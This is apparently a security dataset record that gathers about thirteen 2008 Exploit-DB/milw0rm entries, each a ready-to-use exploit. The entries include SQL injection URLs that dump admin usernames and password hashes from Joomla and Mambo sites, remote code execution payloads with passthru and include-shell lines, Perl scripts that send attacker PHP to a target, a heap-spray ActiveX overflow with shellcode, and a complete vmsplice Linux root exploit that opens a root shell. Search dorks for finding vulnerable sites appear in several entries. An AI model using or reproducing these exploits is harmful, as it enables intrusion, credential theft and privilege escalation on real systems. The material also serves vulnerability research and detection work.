QLWD/code_shield huggingface dataset:
标题: Mambo Component Comments 0.5.8.5g - SQL Injection EDB-ID: 5094 CVE: 2008-0773 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-09 漏洞利用脚本: #########################################################
##
##  Mambo SQL Injection (com_comments)
##
## Version Affected:  <=  0.5.8.5g
##  Author: CheebaHawk215
##  Home page: http://www.always420forum.com
##
#########################################################
##
##  Dork: "Review Script", "Phil Taylor"
##
#########################################################
## 
## Vulnerable Code:
##
##########################################################


$pt_query = "SELECT * FROM mos_content_comments where articleid=$id AND published=1 order by id DESC";


#########################################################
##
##   Exploit:
##
#########################################################


http://site.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1



## This is my first exploit!
## thanks to all who came before me, and enabled me to learn from their efforts!

# milw0rm.com [2008-02-09] URL: https://www.exploit-db.com/exploits/5094
标题: SAPID CMF Build 87 - 'last_module' Remote Code Execution EDB-ID: 5097 CVE: 2007-5056 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-10 漏洞利用脚本: ### SAPID CMF Build 87 (last_module) Remote Code Execution Vulnerability
### Script R84 : http://puzzle.dl.sourceforge.net/sourceforge/sapidcmf/sapidcmf.r84.zip
### Script Update R87 :http://surfnet.dl.sourceforge.net/sourceforge/sapidcmf/sapidcmf.update.r84-r87.zip
### Dork : Powered by SAPID CMF Build 87
### Vuln :
### 09:  */

eval('class perfmon_parent_EXTENDER extends ' . $last_module . '_ADOConnection { }');
### POC :
###     /vendors/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};passthru(ls);//
###     OR INCLUDE SHELL
###     /vendors/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};include(URL-SHELL);//
###  I'm TrYaGi ......:)

# milw0rm.com [2008-02-10] URL: https://www.exploit-db.com/exploits/5097
标题: PacerCMS 0.6 - 'last_module' Remote Code Execution EDB-ID: 5098 CVE: 2007-5056 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-10 漏洞利用脚本: ### PacerCMS 0.6 (last_module) Remote Code Execution Vulnerability
### Script : http://ovh.dl.sourceforge.net/sourceforge/pacercms/pacercms0.6.zip
### Dork : Powered by PacerCMS
### POC :
###     /includes/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};passthru(ls);//
###     OR INCLUDE SHELL
###     /includes/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};include(URL-SHELL);//
###  I'm TrYaGi ......:)

# milw0rm.com [2008-02-10] URL: https://www.exploit-db.com/exploits/5098
标题: FaceBook PhotoUploader 5.0.14.0 - Remote Buffer Overflow EDB-ID: 5102 CVE: 2008-5711 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-12 漏洞利用脚本: <html>
 <head>
  <object id="target" classid="clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0"></object>
 </head>
<body>
<script>

var shellcode = unescape("%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command (calc)
"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");

var address = 0x0d0d0d0d;
var block_size = 0x400000;
var blocks = (address - block_size) / block_size;
var spray = unescape("%u0D0D%u0D0D");
var tmp = unescape("%u0D0D%u0D0D");
var tmp_size = 1044;

while((spray.length * 2) < block_size) spray += spray;
spray = spray.substring(0, block_size - shellcode.length);
memory = new Array();
for(i = 0; i < blocks; i++) memory[i] = spray + shellcode;
while(tmp.length < (tmp_size * 2)) tmp += tmp;
tmp = tmp.substring(0, tmp_size);

 var size = 131;
 var z = Array(size);
  for (i=0; i<size; i++) {
   z[i] = unescape("%u0d0d%u0d0d");
  }

 var size = 131;
 var z2 = Array(size);
  for (i=0; i<size; i++) {
   z2[i] = unescape("%u0d0d%u0d0d");
  }
//' 0x629c1795  pop esi, pop ebp, retn 14   lpk.dll NO SAFE SEH
target.FileMask=z.join('') + unescape("%uebFF%uebFF") + unescape("%u1795%u629c") + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + tmp.substr(0,1)  // + String(2000, unescape("%uffff"))
</script>
</HTML>

# milw0rm.com [2008-02-12] URL: https://www.exploit-db.com/exploits/5102
标题: Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1) EDB-ID: 5093 CVE: 2008-0600 2008-0010 2008-0009 类型: LOCAL 平台: LINUX 发布日期: 2008-02-09 漏洞利用脚本: /*
 * diane_lane_fucked_hard.c
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.23 - 2.6.24
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>

#define TARGET_PATTERN  " sys_vm86old"
#define TARGET_SYSCALL  113

#ifndef __NR_vmsplice
#define __NR_vmsplice  316
#endif

#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#define gimmeroot()  syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)

#define TRAMP_CODE  (void *) trampoline 
#define TRAMP_SIZE  ( sizeof(trampoline) - 1 )

unsigned char trampoline[] =
"\x8b\x5c\x24\x04"  /* mov    0x4(%esp),%ebx */
"\x8b\x4c\x24\x08"  /* mov    0x8(%esp),%ecx */
"\x81\xfb\x69\x7a\x00\x00" /* cmp    $31337,%ebx  */
"\x75\x02"   /* jne    +2   */
"\xff\xd1"   /* call   *%ecx   */
"\xb8\xea\xff\xff\xff"  /* mov    $-EINVAL,%eax  */
"\xc3"    /* ret    */
;

void die(char *msg, int err)
{
 printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
 fflush(stdout);
 fflush(stderr);
 exit(1);
}

long get_target()
{
 FILE *f;
 long addr = 0;
 char line[128];

 f = fopen("/proc/kallsyms", "r");
 if (!f) die("/proc/kallsyms", errno);

 while (fgets(line, sizeof(line), f)) {
  if (strstr(line, TARGET_PATTERN)) {
   addr = strtoul(line, NULL, 16);
   break;
  }
 }

 fclose(f);
 return addr;
}

static inline __attribute__((always_inline))
void * get_current()
{
 unsigned long curr;
 __asm__ __volatile__ (
 "movl %%esp, %%eax ;"
 "andl %1, %%eax ;"
 "movl (%%eax), %0"
 : "=r" (curr)
 : "i" (~8191)
 );
 return (void *) curr;
}

static uint uid, gid;

void kernel_code()
{
 int i;
 uint *p = get_current();

 for (i = 0; i < 1024-13; i++) {
  if (p[0] == uid && p[1] == uid &&
      p[2] == uid && p[3] == uid &&
      p[4] == gid && p[5] == gid &&
      p[6] == gid && p[7] == gid) {
   p[0] = p[1] = p[2] = p[3] = 0;
   p[4] = p[5] = p[6] = p[7] = 0;
   p = (uint *) ((char *)(p + 8) + sizeof(void *));
   p[0] = p[1] = p[2] = ~0;
   break;
  }
  p++;
 } 
}

int main(int argc, char *argv[])
{
 int  pi[2];
 long  addr;
 struct iovec iov;

 uid = getuid();
 gid = getgid();
 setresuid(uid, uid, uid);
 setresgid(gid, gid, gid);

 printf("-----------------------------------\n");
 printf(" Linux vmsplice Local Root Exploit\n");
 printf(" By qaaz\n");
 printf("-----------------------------------\n");

 if (!uid || !gid)
  die("!@#$", 0);

 addr = get_target();
 printf("[+] addr: 0x%lx\n", addr);

 if (pipe(pi) < 0)
  die("pipe", errno);

 iov.iov_base = (void *) addr;
 iov.iov_len  = TRAMP_SIZE;

 write(pi[1], TRAMP_CODE, TRAMP_SIZE);
 _vmsplice(pi[0], &iov, 1, 0);

 gimmeroot();

 if (getuid() != 0)
  die("wtf", 0);

 printf("[+] root\n");
 putenv("HISTFILE=/dev/null");
 execl("/bin/bash", "bash", "-i", NULL);
 die("/bin/bash", errno);
 return 0;
}

// milw0rm.com [2008-02-09] URL: https://www.exploit-db.com/exploits/5093
标题: DomPHP 0.82 - 'index.php' Local File Inclusion EDB-ID: 5089 CVE: 2008-0745 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-09 漏洞利用脚本: -------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo --------
-------------------------------------------------------------

= Author : HouSSaMix From H-T Team
                          
= Script : DomPHP 0.82              
= Download :  http://www.domphp.com/download/
                        
= BUG : Local File Inclusion  
       
=  Vulnerable CODE :
~~~~~~~~~ /aides/index.php ~~~~~~~~~~~~~~~~~~~~~~
if (isset($_GET['page'])) {
 // On supprime le http:// si tentative de fraude.
 $page = str_replace("http://","",$_GET['page']);
 include("../aides/".$page.".html");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    

= Exploit :                                                  
http://Target/[path]/aides/index.php?page=[LFI]%00
      
= Get phpinfo =>  http://Target/[path]/info.php 
                http://Target/[path]/aides/index.php?page=../info.php%00
    
-------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo --------
-------------------------------------------------------------

# milw0rm.com [2008-02-09] URL: https://www.exploit-db.com/exploits/5089
标题: Joomla! Component NeoGallery 1.1 - SQL Injection EDB-ID: 5083 CVE: 2008-0752 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-08 漏洞利用脚本: #########################################################################
#
#  joomla SQL Injection(com_neogallery)
#
#########################################################################
#
#  AUTHOR : S@BUN
#
#  HOME : http://www.milw0rm.com/author/1334
#
#  MAÄ°L :    www.milw0rm.com@gmail.com
#
#########################################################################
#
# DORK 1 : allinurl:"com_neogallery"
#
##########################################################################
EXPLOIT :

index.php?option=com_neogallery&task=show&Itemid=5&catid=999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from%2F%2A%2A%2Fjos_users

#########################################################################
# S@BUN                    i AM NOT HACKER                         S@BUN
#########################################################################
# S@BUN                  http://www.milw0rm.com                    S@BUN
#########################################################################
#                           THANKS STROKE
#########################################################################

 <name>NeoGallery</name>
 <creationDate>Septembre 2006</creationDate>
 <author>Nicolas Cornet - Neoweb</author>
 <copyright>This component is released under the GNU/GPL License</copyright>
 <authorEmail>nicolas@neoweb.fr</authorEmail>

 <authorUrl>www.neoweb.fr</authorUrl>
 <version>1.1</version>
 <description><![CDATA[Ce composant vous permet d'afficher une galerie de photos, organisees en categories, sur votre site.<br />Realise par Nicolas Cornet - Neoweb.]]></description>

# milw0rm.com [2008-02-08] URL: https://www.exploit-db.com/exploits/5083
标题: Journalness 4.1 - 'last_module' Remote Code Execution EDB-ID: 5091 CVE: 2007-5056 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-09 漏洞利用脚本: #!/usr/bin/perl
#
# Vendor url: journalness.sourceforge.net
#
# note: exploit requires Register_globals = On in php.ini
#       ~Iron
#       http://www.randombase.com
require LWP::UserAgent;

print "#
# Journalness <= 4.1 Remote Code Execution exploit
# By Iron - randombase.com
# Greets to everyone at RootShell Security Group & dHack
#
# Example target url: http://www.target.com/journalnessdir/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
 $target = "http://".$target;
}
if($target !~ /\/$/)
{
 $target .= "/";
}
print "PHP code to evaluate? ";
chomp($code=<stdin>);
$code =~ s/(<\?php|\?>|<\?)//ig;
$target .= "includes/database/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};".$code."//";

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->get($target);

if ($response->is_success)
{
 print "\n"."#" x 20 ."\n";
 print $response->content;
 print "\n"."#" x 20 ."\n";
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2008-02-09] URL: https://www.exploit-db.com/exploits/5091
标题: Open-Realty 2.4.3 - 'last_module' Remote Code Execution EDB-ID: 5090 CVE: 2007-5056 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-09 漏洞利用脚本: #!/usr/bin/perl
#
# Vendor url: www.open-realty.org
#
# note: exploit requires Register_globals = On in php.ini
#       ~Iron
#       http://www.randombase.com
require LWP::UserAgent;

print "#
# Open-Realty <= 2.4.3 Remote Code Execution exploit
# By Iron - randombase.com
# Greets to everyone at RootShell Security Group
#
# Example target url: http://www.target.com/openrealtydir/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
 $target = "http://".$target;
}
if($target !~ /\/$/)
{
 $target .= "/";
}
print "PHP code to evaluate? ";
chomp($code=<stdin>);
$code =~ s/(<\?php|\?>|<\?)//ig;
$target .= "include/class/adodb/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};".$code."//";

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->get($target);

if ($response->is_success)
{
 print "\n"."#" x 20 ."\n";
 print $response->content;
 print "\n"."#" x 20 ."\n";
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2008-02-09] URL: https://www.exploit-db.com/exploits/5090
标题: Joomla! Component com_doc - SQL Injection EDB-ID: 5080 CVE: 2008-0772 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-07 漏洞利用脚本: #########################################################################
#
# Commonwealth Business Council SQL Injection
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
#########################################################################
#
# DORK 1 : allinurl: "index.php?option=com_doc"
#
# DORK 2: "Commonwealth Business Council
#
##########################################################################
EXPLOIT :

index.php?option=com_doc&task=view&sid=-1/**/union/**/select/**/concat(username,0x3a,password),1,2,concat(username,0x3a,password),0x3a,5,6,7,8,password,username,11/**/from/**/jos_users/


##########################################################################
# S@BUN                    www.hackturkiye.com                S@BUN
##########################################################################
# S@BUN                       i AM NOT HACKER                      S@BUN
##########################################################################

# milw0rm.com [2008-02-07] URL: https://www.exploit-db.com/exploits/5080
标题: Mambo Component com_gallery - SQL Injection EDB-ID: 5084 CVE: 2008-0746 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-08 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_gallery)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
#########################################################################
#
# DORK 1 : allinurl: com_gallery "func"
#
##########################################################################
EXPLOIT 1 :

index.php?option=com_gallery&Itemid=0&func=detail&id=-99999/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*


EXPLOÄ°T 2 :

index.php?option=com_gallery&Itemid=0&func=detail&id=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cpassword%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users

##########################################################################
# S@BUN                     www.hackturkiye.com                  S@BUN
##########################################################################
# S@BUN                        i AM NOT HACKER                     S@BUN
##########################################################################

# milw0rm.com [2008-02-08] URL: https://www.exploit-db.com/exploits/5084
标题: jetAudio 7.0.5 - '.asx' Remote Stack Overflow (PoC) EDB-ID: 5085 CVE: 2008-0747 类型: DOS 平台: WINDOWS 发布日期: 2008-02-08 漏洞利用脚本: Application: jetAudio <= 7.0.5 (.ASX) Remote Stack Overflow
Web Site: http://www.cowonamerica.com/download/
Platform: Windows
Bug:Remote Stack Overflow
Extension: ASX
special condition: none

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

===========
1) Introduction
===========

A nice introduction to jetaudio  can be found : http://www.cowonamerica.com/products/jetaudio/

======
2) Bug
======

When parsing an asx file with a long URL a stack overflow occurs.


=====
3)Proof of concept
=====

Proof of concept example :

An url with 1096 A ( http://AAAAA....) will overwritte ESI and crash the program

Here's the debugger output:
Access violation - code c0000005

eax=00000000 ebx=01187684 ecx=00000459 edx=0012d39c esi=41414141 edi=00000001

eip=00441dad esp=0012cf3c ebp=00000001 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206

JetAudio!CxImage::`copy constructor closure'+0x1109d:

00441dad 8b06             mov     eax,[esi]         ds:0023:41414141=????????

Here's the the Poc :


#!/usr/local/bin/perl                                         
                                                              
use strict;                                                   
                                                              
use warnings;                                                 
                                                              
my $file="myfile.asx";                            
                                                              
my $payload = "A" x 1096;                                     
                                                              
open( $FILE, ">>$file") or die "Cannot open $file: $!";       
                                                              
print $FILE "http://".$payload;                               
                                                              
close($FILE);                                                 
                                                              
print "$file has been created \n";                            
                                                              




=====
5)Credits
=====

laurent gaffiÃ©
laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-02-08] URL: https://www.exploit-db.com/exploits/5085
标题: ImageStation - 'SonyISUpload.cab 1.0.0.38' ActiveX Buffer Overflow (PoC) EDB-ID: 5086 CVE: 2008-0748 类型: DOS 平台: WINDOWS 发布日期: 2008-02-08 漏洞利用脚本: <html>
<head><title>Buffer Overflow Vulnerability in AxRUploadServer.dll, Activex Method (SetLogging)</title></head>
<body>
Dll name:AxRUploadServer.dll
Download: http://www.imagestation.com/common/classes/SonyISUpload.cab?v=1,0,0,38
</br></br>
Description:
This file belongs to ImageStation that is a servicemark of Sony Electronics Inc.
</br></br>
Internal name:
The ez-Upload control.
</br></br>
Access Violation when executing 0x42424242</br>
........................................</br>
Registers:</br>
--------------------------------------------------</br>
EIP 42424242</br>
EAX 42424242</br>
EBX 00000001</br>
ECX 00FE50B0 -> 00FE0290</br>
EDX 00FE0608 -> 00187440 -> Uni: @t@t</br>
EDI 00000000</br>
ESI 00000000</br>
EBP 0013E6C4 -> 0013E6E4</br>
ESP 0013E68C -> 0145636A -> Asc: jcEjcE</br>
</br></br></br>
Discovered by:</br>
Trancek, http://www.trancek.es
</br></br>
Greetz: p1mp4m.es(sky, pepepistola, elvispresley, patoruzu, musashi)
</br></br></br>
<object classid='clsid:E9A7F56F-C40F-4928-8C6F-7A72F2A25222' id='bof'></object>
<input language=VBScript onclick=Son() type=button value="Explotar">

<script language='vbscript'>
 Sub Son
 arg1=String(5922, "A")
 arg2=String(5, "B")

 bof.SetLogging arg1 + arg2
 End Sub
</script>
</body>
</html>

# milw0rm.com [2008-02-08] URL: https://www.exploit-db.com/exploits/5086
标题: Joomla! Component com_noticias 1.0 - SQL Injection EDB-ID: 5081 CVE: 2008-0670 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-07 漏洞利用脚本: ##     ##     
   ##   ##      
    ## ##
     ###CoRPITX 
     ###     
    ## ##
   ##   ##
  ##     ##

########################### Turkey ####################################
#                                                                     #
#################### www.Hayalet-hack.com #############################
#
##################### www.zone-turk.net/###############################
#             
#         joomla (com_noticias)SQL Injection Vulnerability 
#
#######################################################################
#  
#  AUTHOR : xcorpitx
#
#  HOME   : www.Hayalet-hack.com / www.zone-turk.net/
#
########################################################################
# WHEN YOU PUT THIS SQL CODE YOU LL SEE ADMÃN NAME,ADMIN HASH AND EMAÃL 
########################################################################
#
#  DorK   : ''com_noticias''
#
########################################################################
#            
#  EXPLOIT: 
#
########################################################################
#
index.php?option=com_noticias&Itemid=xcorpitx&task=detalhe&id=-99887766/**/union/**/%20select/**/0,concat(username,0x3a,password,0x3a,email),2,3,4,5/**/%20from/**/%20jos_users/*
#
########################################################################

Thanks my friends : Hayalet,D3NGES!Z,PC FARESi,SMOKÃN,MOSTBÃG

# milw0rm.com [2008-02-07] URL: https://www.exploit-db.com/exploits/5081